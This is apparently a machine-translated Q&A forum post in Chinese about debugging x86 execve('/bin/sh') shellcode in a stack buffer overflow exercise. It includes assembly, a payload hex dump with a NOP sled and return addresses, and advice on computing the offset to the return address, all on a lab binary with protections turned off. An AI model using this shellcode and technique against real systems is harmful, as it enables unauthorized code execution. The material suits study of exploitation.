C 生成外壳的外壳代码

C 生成外壳的外壳代码,c,buffer-overflow,payload,shellcode,C,Buffer Overflow,Payload,Shellcode,我有我的汇编代码来生成一个shell global _start section .text _start: xor eax, eax push eax push 0x68732f6e push 0x69622f2f mov ebx, esp push eax mov edx, esp push ebx mov ecx, esp mov al, 11 int 0x80 xor ebx, ebx

我有我的汇编代码来生成一个shell

global _start

section .text
_start:

    xor eax, eax
    push eax
    push 0x68732f6e
    push 0x69622f2f
    mov ebx, esp
    push eax
    mov edx, esp
    push ebx
    mov ecx, esp
    mov al, 11
    int 0x80

    xor ebx, ebx
    mov bl, 1
    int 0x80
当我执行它时,我有一个外壳 我把它转换成了有效载荷

0000000: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000010: 9090 9090 31c0 5068 6e2f 7368 682f 2f62  ....1.Phn/shh//b
0000020: 6989 e350 89e2 5089 e253 89e1 b00b cd80  i..P..P..S......
0000030: 31db b301 cd80 9090 9090 9090 9090 9090  1...............
0000040: 9090 9090 9090 9090 c8cf ffff 90cf ffff  ................
当我使用gdb查看发生了什么时,我收到以下消息:

process 22459 is executing new program: /bin/dash
[Inferior 1 (process 22459) exited normally]
但没有外壳。如果我在可执行文件上尝试我的有效负载,我会得到一个

Illegal instruction (core dumped)
有什么事需要帮忙吗


我使用-fno stack protector、ASLR关闭和stack executable编译了我的可执行文件。

在受害者可执行文件上尝试时,如何将控制流传输到外壳代码

假设将外壳代码作为参数输入,则还必须计算以下内容:

找出从溢出缓冲区开始计算的返回地址位置的偏移量

查找未检查的缓冲区-局部变量的地址。假设您有以下内容:

无效易受攻击的函数char*buf { char critical_buf[50];
Stack layout:   <<< Growth direction
LOW_ADDR -------------------------------------------------------------------------- HIGH_ADDR
... | critical_buf .......................... | frame_pointer | ret_addr | *buf (param1) | ... 
    <---------------- 50 --------------------->               < offset from critical_buf?>